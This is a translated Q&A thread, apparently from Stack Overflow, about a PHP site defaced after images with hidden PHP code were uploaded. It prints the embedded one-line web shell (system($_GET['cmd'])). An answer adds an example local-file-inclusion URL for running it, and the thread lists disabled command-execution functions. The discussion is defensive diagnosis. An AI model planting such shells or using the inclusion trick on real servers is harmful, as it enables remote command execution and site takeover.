我的php网站被上传为图像的代码黑客攻击了..?

8
昨天我的网站被攻击了。攻击者将index.php文件更改为自己的(包括他们所有的荣耀信息和问候)。我已经通知了托管公司(我们正在使用专用服务器),在我的部分,我正在尝试修复任何看起来可能是原因的东西,因为我仍然无法确定我们的服务器是如何受到攻击的,但我认为我已经找到了某些基于脚本的漏洞可能是罪魁祸首。
我们的网站有一个图像上传器表单,但是所有上传的图像都会通过使用php getimagesize函数验证它们是否确实是图像文件而不是一些代码。只有当图像类型为IMAGETYPE_GIF,IMAGETYPE_JPEG或IMAGETYPE_PNG时,它们才会被接受。否则,他们将无法上传该文件。然而,我发现一个上传的图像文件包含一个php脚本!您可以在此处下载图像:here。这是一个有效的图像文件,但是请尝试使用任何文本编辑器打开图像,您将在其中找到一个php代码:
<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>

例如,图像被上传到此位置(www.mysite.com/uploads/picodes.jpg)。请注意,文件夹uploads的权限为755。攻击者是否有办法执行系统(或任何其他命令,例如passthru,因为我们发现另一张图片隐藏了与上述相同的代码,但是它具有passthru命令),例如通过键入www.mysite.com/uploads/picodes.jpg?cmd=some command?据我所知,这是不可能的(如果有人能证明我错了,我会非常感激),除非攻击者可以将jpg文件重命名为php,即使如此,这些代码也深藏在图像内部(请查看文本编辑器中的图像以理解我的意思)。
为了预防起见,我通过将它们添加到php.ini中的disable_functions中禁用了这些php函数(exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system)。
无论如何,我仍然认为攻击者并非通过Web获得访问权限,而是通过服务器漏洞,但我认为我的托管公司持不同看法。

根据服务器的配置,如果您的图像验证程序不检查文件名,则可能会被利用,例如,如果攻击者上传具有“.php”扩展名的名称文件。但这实际上是一个Server Fault的问题。这是你想知道的吗? - David Z
感谢您的回复,David。但正如我上面所提到的,所有上传的文件都会首先被检查;只有当它们是图像文件(gif、jpg 或 png)时才会被接受。否则,它们将被丢弃。因此,上传带有 .php 扩展名或任何其他扩展名的原始代码文件肯定会失败。 - imin
6
你说你使用 getimagesize 来验证图片是否为图片,但该函数 _不会检查文件扩展名_。它只查看文件的内容。(试一下:将 picodes.jpg 重命名为 picodes.php 并查看 getimagesize("picodes.php") 的输出。) 因此,你还需要显式地检查上传的文件名,并确保其与 getimagesize 返回的图像类型匹配。 - David Z
哎呀...我怎么会忘记这个??!!非常感谢你,David! - imin
3
在您存储上传文件的所有目录/位置中,php_admin_flag engine off 应该是您 Apache 配置的一部分。 - derobert
https://dev59.com/DWrWa4cB1Zd3GeqP_4MF - user3336167
4个回答

5

任意PHP代码的图像文件无法通过直接请求来利用,例如:http://www.mysite.com/uploads/image.jpg?cmd=somecode

但是,它可以与本地文件包含漏洞一起使用。

例如,在index.php中您使用include('pages/' . $_GET['page'] . '.php');,然后攻击者可以上传带有PHP代码的图像并使用类似于此的命令执行命令:http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

更新:更改URL中的文件为页面


那么,在URL中应该是“page”而不是“file”;) - Shikiryu
请查看https://dev59.com/_GrXa4cB1Zd3GeqPAZA_以了解在Windows配置错误的服务器上的其他用途。 - regilero

4

JPEG文件除了实际的图像数据外,还可以包含任意数据;这是规范的一部分。因此,仅仅检查一个图像是否是有效的JPEG格式,并不能保证该文件完全无害。


那么我如何检查jpg文件是否真的无害?其他图像格式(如png和gif)也可以包含任意数据吗?就像我上面的问题一样,即使他们设法上传了一个带有代码的图像文件,他们又如何在不将文件重命名为php的情况下执行它呢? - imin
没有一种百分之百的方法可以确保任何文件是无害的,更多的是要消除潜在执行文件的方式(这方面我无法为您提供太多帮助,尤其是不知道服务器设置的详细信息)。 - Amber
谢谢,我想我必须将任何上传的图像转换为其他类型(例如,如果是jpg,则将其转换为gif,gif转换为jpg,png转换为jpg),以便删除其中嵌入的任何代码。无论如何,如果不将图像文件重命名为php,没有人会回答我他们将如何执行其中的代码。 - imin
@imin:正如Amber和我在评论中暗示的那样,我们需要了解您的服务器设置的详细信息才能回答那个问题。 - David Z
不确定如何回答这个问题,因为我们的供应商设置了一切(我们相信他们做得很好)。无论如何,基本上我们正在运行PHP版本5.3.1,Apache/2.2.14(Unix)mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_jk/1.2.28 mod_perl/2.0.4 Perl/v5.8.8服务器在www.trymasak.my端口80(所有信息都来自phpinfo())。 - imin

2
我的图片文件上传器设置如下:将文件上传到临时文件夹,在同一脚本操作中创建新图像,使用imagecreatefromjpeg或imagecreatefrompng或imagecreatefromgif并保存,从临时文件夹中删除上传的文件(所有这些操作都在同一脚本操作中完成,因此在临时文件夹中上传的文件不存在很长时间)。

你认为这是最安全的方式吗? - ErickBest
这是非常安全的选项,因为脚本会在几分之一秒内删除已上传的文件。 - user424821

2
这可能不是你代码中的漏洞。几周前,我也遇到了同样的问题。尽管我所有的index.php文件都被删除了,即使那些不直接面向Web的文件也被删除了。在我的情况下,这是Linux中的一个安全漏洞,与我的代码无关。这是我的托管提供商(A2Hosting)对该问题的回复。一旦我说服他们这不是我做的事情,他们很快就解决了问题。
“最近在Linux内核中发现了一个漏洞,用于授予用户在服务器上的目录中的管理员(root)访问权限。攻击包括删除目录中找到的索引文件,并将它们替换为攻击者所需的内容:黑色网页和攻击者的代码名称“iSKORPiTX(土耳其黑客)”。这种黑客攻击在互联网上非常普遍,并利用了以前未知的漏洞,限制了我们防止它的能力。”

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接